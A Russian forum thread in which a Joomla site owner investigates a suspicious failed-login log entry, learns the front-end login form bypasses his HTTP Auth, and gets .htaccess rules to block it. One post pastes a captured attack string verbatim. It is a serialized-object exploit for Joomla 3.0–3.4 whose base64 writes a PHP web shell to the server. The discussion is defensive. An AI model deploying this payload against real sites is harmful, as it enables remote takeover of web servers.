Уязвимости и их устранение. Защита от разных способов взлома.

Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Rinat-Mantushev » 12 окт 2019, 19:36

Здравствуйте! Подскажите, мудрые люди, что нижеследующее это может значить.
У меня по совету с этого форума установлен мониторинг изменения файлов на сервере Tripwire. Сегодня на почту пришло сообщение, что есть изменения в файле administrator/logs/error.php.
Зашел на сервер, открыл его, там подозрительная строка
Код: Выделить всё
2019-10-12T14:42:30+00:00   INFO 95.53.244.151   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте

Но дело в том, что
  1. Я сегодня не пробовал заходить в админку;
  2. 95.53.244.151 выдает по Гео-ip Вологду;
  3. И самое важное, у меня установлена защита сервером HTTP Auth директории administrator паролем. То есть, чтобы получить такое сообщение, некто должен был сначала пройти защиту HTTP Auth (логин и пароль для окна HTTP Auth не простые).
    Получается попытка неправильного введения логина и пароля уже к админке Joomla была всего лишь один раз?
  4. В базе данных в таблице Users есть только два моих аккаунта и сегодня по ним заходов не было.

Не понимаю, что это значит. Меня больше беспокоит, как он прошел защиту HTTP Auth!!!
Rinat-Mantushev
 
Сообщения: 13
Зарегистрирован: 24 апр 2017, 20:52

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Gera77 » 12 окт 2019, 20:38

А в логах сервера что? смотрели вообще?
Gera77
 
Сообщения: 11
Зарегистрирован: 05 янв 2015, 05:01

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Rinat-Mantushev » 13 окт 2019, 15:40

Да, забыл сказать, что вчера ещё зашел на сервер посмотреть access_log и error_log, но они были оба вообще пустые! Такого быть ведь не должно, по Метрике заходы на сайт были, и сам походил по сайту, потом смотрю access_log все-равно пуст.
Написал в техподдержку хостинга, почему логи не пишутся.
Вот получилась такая переписка, снизу-вверх идет:
Код: Выделить всё
Виктор Тагинцев
----------  20:49  ----------
Техническая поддержка -->

При переносе аккаунта на другой сервер тарифный план не изменится.

Решили проблему, логи теперь записываются, проверьте, пожалуйста.

Если у Вас возникнут дополнительные вопросы, пожалуйста, обращайтесь.

Оцените ответ:
good neutral bad

----------  20:42  ----------
Мантушев Ринат Михайлович -->

Это в рамках нашего же тарифного плана? Просто так делать перенос, не знаю, стоит ли. Сайт вроде адекватно работает.

----------  20:37  ----------
Максим Баринов

Техническая поддержка -->

Мы регулярно проводим работы, направленные на повышение стабильности серверов, но, к сожалению, полностью избежать проблем в рамках технического решения виртуального хостинга невозможно.

Если проблема будет наблюдаться систематически, мы можем перенести аккаунт на сервер с более высокими показателями стабильности.

Сообщите нам, пожалуйста, если захотите инициировать перенос, или если у вас возникнут дополнительные вопросы; мы будем рады помочь.

Оцените ответ:
good neutral bad

----------  20:35  ----------
Мантушев Ринат Михайлович -->

Так что это? Сбой?

----------  20:34  ----------
Максим Баринов

Техническая поддержка -->

Здравствуйте.

Сбросить ведение логов Вы можете самостоятельно, отключив и включив заново ведение, в разделе Логи.

При возникновении дополнительных вопросов, пожалуйста, обращайтесь.

Оцените ответ:
good neutral bad

----------  20:31  ----------
Мантушев Ринат Михайлович -->

Здравствуйте!
Сегодня столкнулся с тем , что файлы логов access_log и error_log за сегодня на данный момент пустые.
Хотя заходы на сайт были неоднократные, сам 2 часа назад по сайту ходил.

Переписка с поддержкой хостинга
Rinat-Mantushev
 
Сообщения: 13
Зарегистрирован: 24 апр 2017, 20:52

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Rinat-Mantushev » 13 окт 2019, 16:01

Как они сказали, выключил и потом включил запись логов. Думал, что при не правильном введении логина и пароля в окно HTTP аутентификации, в erro_log будет запись, ан нет, оказывается в access_log пишется 401 ошибка:
site-name.ru 109.252.87.197 - vb [12/Oct/2019:18:50:07 +0300] "GET /administrator HTTP/1.0" 401 381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
Это 401 ошибка — ошибка клиента а не сервера.
В общем, вопрос открыт: как он прошел защиту HTTP Auth!!?
Rinat-Mantushev
 
Сообщения: 13
Зарегистрирован: 24 апр 2017, 20:52

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Pasha programmist » 16 окт 2019, 16:24

как он прошел защиту HTTP Auth!!?

Скорее всего он и не проходил эту защиту, а пробовал залогиниться с "морды" сайта. Наверное, Вы не читали тему "Системные url-адреса фронтенда Joomla".
Например, если у вас 3.x Joomla, то пройдя по адресу Ваш-сайт.ru/index.php?option=com_users&view=login вы попадёте в форму входа на сайт. И отключить эту функцию сейчас простых способов я что-то не припомню.
Ваша ситуация на брутфорс не похожа, как сами, наверное, понимаете. Ведь подобрав логин/пароль к окну авторизации HTTP Auth, наверное, взломщик не остановился бы 1 раз :D всего-лишь пытаясь подобрать пароль к админке.
Кстати, я попробовал у себя, при ошибке входа через вышеуказанную форму с морды сайта, в файл "administrator/logs/error.php" записалось как раз сообщение о неудачной попытке входа на сайт.
Скорее всего, просто кто-то побаловался с морды один раз, а дальше палиться сам не захотел.
Pasha programmist
 
Сообщения: 15
Зарегистрирован: 30 апр 2015, 22:52

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Rinat-Mantushev » 17 окт 2019, 18:00

Pasha programmist писал(а):пройдя по адресу Ваш-сайт.ru/index.php?option=com_users&view=login вы попадёте в форму входа на сайт

Так и есть, СПАСИБО!
Наверное это всё объясняет. Пароль к HTTP authentication поменял на всякий случай все-равно!
Rinat-Mantushev
 
Сообщения: 13
Зарегистрирован: 24 апр 2017, 20:52

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Rinat-Mantushev » 18 окт 2019, 11:47

Сегодня в 6-00 опять одна попытка была захода.
На этот раз Access_log удалось посмотреть, вот кусок
Код: Выделить всё
my-site.ru 185.212.250.10 - - [18/Oct/2019:06:00:43 +0300] "GET / HTTP/1.0" 301 229 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
my-site.ru 185.212.250.10 - - [18/Oct/2019:06:00:44 +0300] "GET / HTTP/1.0" 200 18454 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
my-site.ru 185.212.250.10 - - [18/Oct/2019:06:00:44 +0300] "GET /index.php/component/users/ HTTP/1.0" 200 15420 "https://my-site.ru/" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
my-site.ru 185.212.250.10 - - [18/Oct/2019:06:00:45 +0300] "POST / HTTP/1.0" 303 - "https://my-site.ru/index.php/component/users/" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
my-site.ru 185.212.250.10 - - [18/Oct/2019:06:00:45 +0300] "GET /component/users/?view=login&Itemid=101 HTTP/1.0" 200 15917 "https://my-site.ru/index.php/component/users/" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"

Pasha programmist вы правы, попытка входя с фронтэнда: /component/users/?view=login&Itemid=101.
И опять всего один раз. Кстати, IP 185.212.250.10 вроде с Украины.
Всё-таки хочется отключить эту функцию логина с фронтэнда. Может кто знает решение? Буду искать.
Rinat-Mantushev
 
Сообщения: 13
Зарегистрирован: 24 апр 2017, 20:52

Re: Сообщение о попытке входа в админку Joomla несмотря на HTTP Auth

Rinat-Mantushev » 11 ноя 2019, 01:48

Сделал логирование, точнее, чтобы мне на почту пришло, какой логин и пароль вводят. когда кто-то пытается с морды сайта залогиниться. Интересно стало.
И сегодня мне пришло сообщение, что пытались "войти" с такими данными:
Логин:
\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 (пробел нужно убрать посередине)*.
Пароль:
AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:330:"file_put_contents(base64_decode('Y2FjaGUvYWNjZXNzb24xLnBocA=='),base64_decode('PD9waHAgZWNobyA3NDU3NzM3KzczNjcyMztpZihpc3NldCgkX1BPU1RbJ2d3anF6c2V1bmUnXSkpIGV2YWwoJF9QT1NUWydnd2pxenNldW5lJ10pO2lmKCRfUE9TVFsndXAnXT09J3VwJyl7QGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTt9Ow==')) || $a='http://qwe';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:

Это не попытка входа — это (погуглил) похоже достаточно старый эксплойт к Joomla 3.0 до 3.4 версий, но может что-то новенькое, модифицированный..
Не нравится мне это. Хотя может зря тревожусь, просто дурачек какой-то балуется..

* При попытке вставить этот код в теги [code] символы '\0' поменялись на '{0code}' то есть вставил например '\0\0\0\0\0', на на форуме появилось как ''{0code}'{0code}'{0code}'{0code}'{0code}'
Решил вставить просто текстом, нажал "Отправить" и... форум перестал открываться!!! Я даже не думаю, что это просто совпадение!!! Знаю, что на хостингах фильтрация стоит, и мой пост могли за попытку взлома принять!!! Я действительно испугался сейчас, что форум сломал!!! :o :o :o
Rinat-Mantushev
 
Сообщения: 13
Зарегистрирован: 24 апр 2017, 20:52

Отключить форму входа на сайт через .htaccess

Александр » 11 ноя 2019, 17:42

Pasha programmist писал(а):
как он прошел защиту HTTP Auth!!?

Скорее всего он и не проходил эту защиту, а пробовал залогиниться с "морды" сайта. Наверное, Вы не читали тему "Системные url-адреса фронтенда Joomla".
Например, если у вас 3.x Joomla, то пройдя по адресу Ваш-сайт.ru/index.php?option=com_users&view=login вы попадёте в форму входа на сайт. И отключить эту функцию сейчас простых способов я что-то не припомню.

Насколько в курсе сейчас такой опции в Joomla нет.
Но можно сделать запрет на доступ к соответствующим системным адресам через .htaccess. Только важно указать все возможные url-ы по которым форма входа доступна.. вот тут зарекаться не могу. Насколько я знаю, форма входа с морды доступна по следующим адресам:
/index.php?option=com_users&view=login
/index.php?option=com_users
/?option=com_users
Если SEF включен, то и такие адреса возможны
/index.php/component/users
/component/users
Как видите, общее только токен "users" получается. Можно тупо по нему попробовать блокировать, но есть вероятность заблокировать и SEF-адреса, имеющие подстроку "users".
Наверное, лучше редирект делать более детальный.
Последний раз редактировалось Александр 17 ноя 2019, 18:57, всего редактировалось 1 раз.
Александр
 
Сообщения: 397
Зарегистрирован: 20 мар 2014, 17:05

Отключаем форму входа на сайт через .htaccess

Александр » 11 ноя 2019, 19:51

Вот, набросал директивы .htaccess чтобы блокировать вход с фронтэнда:
Код: Выделить всё
Redirect 301 "/component/users" "http://gonowhereintoblackhole.com?"
RewriteCond %{QUERY_STRING} .*option=com_users.*
RewriteRule (.*) http://gonowhereintoblackhole.com? [R=301,L]

Потестировал, вроде всё работает, но не отлавливает вариант "/index.php/component/users", если кто знает лучше, пишите )
Немного поясню:
Директива Redirect не работает с Query String, но возможно, она менее ресурсоёмка, чем RewriteRule, поэтому запрос, содержащий в url "/component/users" перенаправляем в никуда через неё.
А регулярным выражением вычленяем .*option=com_users.* уже через mod_rewrite.
Отправляем всех этих ботов по адресу http:// gonowhereintoblackhole.com? (надеюсь такого никогда никто не зарегистрирует : )) )
Знак ? в конце доменного имени — чтобы не передавалась Query String.

UPD. См. следующий пост viewtopic.php?f=17&t=235&p=833, там рабочий вариант выложил и сопутствующие проблемы немного осветил..
Последний раз редактировалось Александр 12 ноя 2019, 00:57, всего редактировалось 2 раз(а).
Александр
 
Сообщения: 397
Зарегистрирован: 20 мар 2014, 17:05

След.

Вернуться в Безопасность